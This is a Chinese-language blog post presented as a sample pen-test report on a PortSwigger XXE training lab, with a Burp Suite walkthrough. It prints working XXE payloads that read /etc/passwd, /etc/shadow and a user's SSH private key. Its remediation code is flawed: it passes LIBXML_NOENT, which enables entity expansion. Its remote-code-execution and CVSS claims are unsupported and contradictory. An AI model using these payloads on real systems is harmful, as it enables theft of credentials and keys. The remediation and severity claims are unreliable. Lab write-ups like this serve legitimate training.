2026年5月23日星期六

BAMBOO FOREST PEN TEST REPORT – XXE

 

XXE (XML Enternal Entity Injection)

 

內容

XXE (XML Enternal Entity Injection) 1

1      摘要... 2

2      目的和範圍... 2

3      測試方法和流程... 5

4      發現的漏洞和風險評估... 6

5      修復建議和策略... 7

6      結論... 8

7      附件和參考資料... 8

 

 


 

1    摘要

本次滲透測試的標的─「Web Security Academy」是PortSwigger公司的網路安全教育平台,在進行測試的過程中我們發現了XML的漏洞,可以成功顯示目標系統Linux平台下的所有帳號,除了系統管理員以外,還能夠看到個別使用者帳號。但進一步攻擊,嘗試取得用戶peterRSA金鑰時,顯示檔案不存在;嘗試取得系統的密碼憑證檔shodow檔案時顯示權限不足。

結論:本次滲透測試顯示系統存在風險,但屬於中低風險,未來可以透過禁用 DTD 或外部實體引用,讓XML不會從原本單純的「資料傳送員」變成了洩漏伺服器隱私的「內鬼」來強化資料機密性。

2    目的和範圍

本次滲透測試的目的,在於重點說明本公司的滲透測試服務,透過完整的報告格式來呈現,使本公司的潛在客戶可以對齊自己的需求,未來可以做為委託本公司進行滲透測試的基準。

與客戶初次聯繫後,我們通常會向他們發送一份問卷,也就是範圍問卷,以便更好地了解他們所需的服務。這份範圍界定問卷應清楚解釋我們的服務,並通常會要求他們從以下清單中選擇一項或多項:例如本報告,XXE,就是屬於Web應用程式安全評估的一種。

內部漏洞評估

外部脆弱性評估

內部滲透測試

外部滲透測試

無線安全評估

應用程式安全評估

物理安全評估

社會工程評估

紅隊評估

Web 應用程式安全評估

另外,範圍問卷還會展開的更細,包含下列問題:

預計有多少位現場主持人?

範圍內有多少個 IP/CIDR 範圍?

範圍內有多少個域/子域?

範圍內有多少個無線 SSID

有多少個 Web/行動應用程式?如果測試需要身份驗證,有多少個角色(標準使用者、管理員等)?

對於網路釣魚評估,會有多少使用者成為目標?客戶會提供名單嗎?還是我們需要透過開源情報 (OSINT) 收集名單?

如果客戶要求進行實體評估,請問涉及多少個地點?如果涉及多個地點,這些地點的地理位置是否會分散?

紅隊評估的目標是什麼?是否有任何活動(例如網路釣魚或實體安全攻擊)超出了評估範圍?

是否需要單獨的 Active Directory 安全性評估?

網路測試是否會從網路上的匿名使用者或標準網域使用者進行?

我們需要繞過網路存取控制(NAC)嗎?

最後,我們想詢問有關資訊揭露和迴避的問題(如果適用於評估類型):

滲透測試是黑盒(不提供任何資訊)、灰盒(僅提供 IP 位址/CIDR 範圍/URL)、白盒(提供詳細資訊)

他們希望我們從非侵入式、混合侵入式(從安靜開始,逐漸變得更響亮,以評估客戶的安全人員在什麼級別檢測到我們的活動)或完全侵入式進行測試。

企業進行滲透測試(Penetration Testing,簡稱 PenTest),其核心價值不僅是為了「發現漏洞」,更是一次對企業整體防禦能力的「壓力測試」。

以下是客戶能從中獲得的主要效益:

1. 識別並修補潛在的安全漏洞

這是最直接的收穫。滲透測試員會模擬駭客思維,找出那些自動化掃描工具可能遺漏的邏輯漏洞(例如:權限控制不當、商業邏輯缺陷)。

具體成果: 一份詳細的漏洞清單,包含風險等級(高、中、低)與修補建議。

2. 驗證防禦機制的有效性

許多公司投資了大量的資安設備(如防火牆、WAFIDS/IPSEDR),但這些設備是否配置正確?是否能在攻擊發生時及時攔截?

具體成果: 測試現有的資安投資是否能發揮預期效果,並確認內部團隊的偵測與回應能力。

3. 確保合規性與符合監管要求

許多產業規範(如 PCI DSSISO 27001、或是台灣的《資通安全管理法》)都明確要求定期進行滲透測試。

具體成果: 獲得符合稽核要求的測試報告,降低因不合規而面臨法律罰款或喪失業務合約的風險。

4. 降低資料外洩的財務風險

一次成功的駭客攻擊可能導致高額的賠償金、系統修復費用以及營運中斷的損失。

具體成果: 透過「預防勝於治療」的方式,將資安投入轉化為一種保險支出,避免未來面臨毀滅性的財務損失。

5. 提升客戶信任與品牌聲譽

對於提供線上服務或處理大量敏感資料的公司,定期進行資安測試證明了公司對資訊安全的重視程度。

具體成果: 在爭取大型企業客戶或供應鏈合作時,一份專業的資安報告往往是重要的信任背書。

6. 提供技術與管理層的溝通橋樑

滲透測試報告通常會分為兩個部分:

執行摘要(Executive Summary): 用白話文向高層說明風險對業務的影響,爭取資安預算。

技術詳情(Technical Findings): 提供具體的攻擊路徑(Attack Vector)與代碼級別的修補建議,供研發與系統管理員執行。

3    測試方法和流程

測試方法:

一、   掃描工具:Kali Linux * Burp Suite

二、   規範:OWASP WSTG-INPV-07[1]

OWASP Web Security Testing Guide (WSTG) 是全球資安圈公認最權威的 Web 安全測試藍圖。它不只講理論,而是為滲透測試員提供了一套「標準化動作」,詳細列出針對 Web 應用程式、API 及服務應執行的測試項目。

OWASP WSTG-INPV-07

三、   檢查項目:

I.   找出XML注入點。

II. 評估可利用的漏洞類型及其嚴重程度。

時程表:

一、   掃描、滲透時間:2026/5/2 1700-1900

二、   報告撰寫時間:2026/5/9-2026/5/23 09:00-1900

4    發現的漏洞和風險評估

一、 漏洞名稱和描述: XML漏洞,可以遠端執行任意程式

二、 漏洞種類:XML外部注入漏洞

三、 嚴重性評分(CVSS 評分系統):7.2 to 9.8(滿分10分)

四、 影響的系統或元件:影響LinuxWindows跨平台作業系統

五、 測試過程中的過程與截圖:目標網站採用XML來顯示商品庫存狀況,經過嘗試,可以讀出檔案內容。

41 關鍵資料洩露與遠腨執行程式

六、 潛在的風險和影響:帳號外洩屬於中風險,駭客可以進一步用取得的帳號針對系統做密碼潑灑,即每次以一個帳號,猜測密碼後再換下一個帳號,因為發出的訊息量較少,較不容易被查覺,也避免觸發密碼錯誤的閥值。

5    修復建議和策略

一、      针對每個發現的漏洞,提供具體的修復建議和策略:

二、      強化的方向,設定PHP (libxml_disable_entity_loader)在解析 XML 前呼叫 libxml_disable_entity_loader(true) 來全域停用外部實體載入:

1.     libxml_disable_entity_loader(true);

2.     $dom = new DOMDocument();

3.     $dom->loadXML($xml_string, LIBXML_NOENT);

6    結論

總結本次滲透測試的過程和結果,最重要的發現和建議是Misconfigur-ation 的嚴重性,在本次測試中程式內容並沒有問題,但滲透測試執行同仁依舊可以構造一個不存在的程式碼,輕易獲得敏感資訊與遠端執行任意程式碼。

所以,在配置對外開放的網站時,不僅程式內容要反覆確認,設定(以本例是全域停用外部實體載入)也很關鍵,讓外部的指令無法執行,就可以更完善的擋下攻擊者,避免機敏資料外洩,

另外,網站使用者的「最小權限」也很重要,在獲得帳號後,滲透測試一度走到取得密碼憑證,但因權限不足而作罷,幸好登入網站的帳號並沒有系統管理員權限,因此避免密碼憑證外洩或進一步被離線破解的問題。

 

7    附件和參考資料

XML(可擴展標記語言,Extensible Markup Language)是一種用來「儲存」、「傳輸」和「結構化」資料的純文字格式。它使用自定義的標籤(如 <name>)來定義資料結構,具有可讀性高、不依賴特定硬體或軟體的特性)

我們這次的靶機,是Portswigger的機器,這裡使用XML來傳遞變數,而不是用傳統的POSTGET

URLhttps://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files

71 靶機、題目與提示

看了一下網頁,發現只有一個按鈕和一個選單,選不同的「城市」,可以查看「存貨數量」,試用HackBar發現沒有能注入SQL指令的地方,放棄。但是看了一下,應該是要在Burp Suite上「加料」

URLhttps://0afe002b03f239bf80e70d21006a0083.web-security-academy.net/product?productId=3

72 靶機的環境─XML按鈕

那我們是怎麼確認這個環境有用XML呢?我們可以從原始碼著手,在靶機環境上按右鍵,再按「檢視網頁原始碼」留意原碼中有一行,<script src="/resources/js/xmlStockCheckPayload.js"></script>,網路攻防很吃耐心和時間,通常需要從小地方去找漏洞。既然確認是XML,我們就來試試KaliBurp Suite

 

73 靶機網頁原始碼

安裝VMWare Kali的教學如下列網址影片所示,進入Kali後在左方的麒麟上點選後,輸入Burp,就可以找到Burp Suite Community Editon(社群版)

URLhttps://youtu.be/7aW8wcTuW2w

74 BurpSuite

Proxy功能,我們點選Intercept On(編號1),Intercetp 意思是瀏覽器看的網頁會先被攔截下來,手動放行才會送到伺服器;再點選Open Browser(編號2)就會開啟Portwigger瀏覽器。我們開啟後,連結網址:

URLhttps://0a2900820332fadf8038531c00af00fb.web-security-academy.net/product?productId=18

就會看到,XML的原始碼,如下所示,其中<product Id>目前是3,如果我們定義了一個xxe,然後此處3改成xxe的話,就有機會找到敏感資訊。

4.     <?xml version="1.0" encoding="UTF-8"?>

5.     <stockCheck>

6.     <productId>3</productId>

7.     <storeId>2</storeId>

8.     </stockCheck>

75 瀏覽網頁攔截功能和原始碼

備註:剛剛的網頁如果我們放行的話,會看到下面這個畫面。

76 Portwigger瀏覽器瀏覽網頁

當使用者點擊「Check stock」(檢查庫存)時,瀏覽器需要告訴伺服器「我想查哪件商品」以及「在哪個分店」。

  • 結構化傳遞: 網頁選擇使用 XML 格式來封裝這些資訊,而不是傳統的表單格式。
  • 原始請求內容:

9.     XML

10.  <stockCheck>

11.      <productId>3</productId>

12.      <storeId>1</storeId>

13.  </stockCheck>

這裡的 XML 標籤(Tags)定義了資料的階層,讓後端伺服器能輕易解析出 productId 3

14.  <?xml version="1.0" encoding="UTF-8"?>

15.  <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/shadow"> ]>

16.  <stockCheck>

17.  <productId>&xxe;</productId>

18.  <storeId>1</storeId>

19.  </stockCheck>

 

1.     <?xml version="1.0" encoding="UTF-8"?>

2.     <!DOCTYPE test [ <!ENTITY xxe SYSTEM " file:///etc/passwd"> ]>

3.     <stockCheck>

4.     <productId>&xxe;</productId>

5.     <storeId>1</storeId>

6.     </stockCheck>

 

1.     <?xml version="1.0" encoding="UTF-8"?>

2.     <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///home/peter/.ssh/id_rsa"> ]>

3.     <stockCheck>

4.         <productId>&xxe;</productId>

5.         <storeId>1</storeId>

6.     </stockCheck>

 

77 放行攔截的網頁

 

78 攻擊成功,目標機器吐出系統帳號清單



[1] https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection.html

沒有留言:

發佈留言

歡迎留下寶貴意見

BAMBOO FOREST PEN TEST REPORT – XXE

  XXE (XML Enternal Entity Injection)   內容 XXE (XML Enternal Entity Injection) 1 1       摘要 ... 2 2       目的和範圍 ... 2 3      ...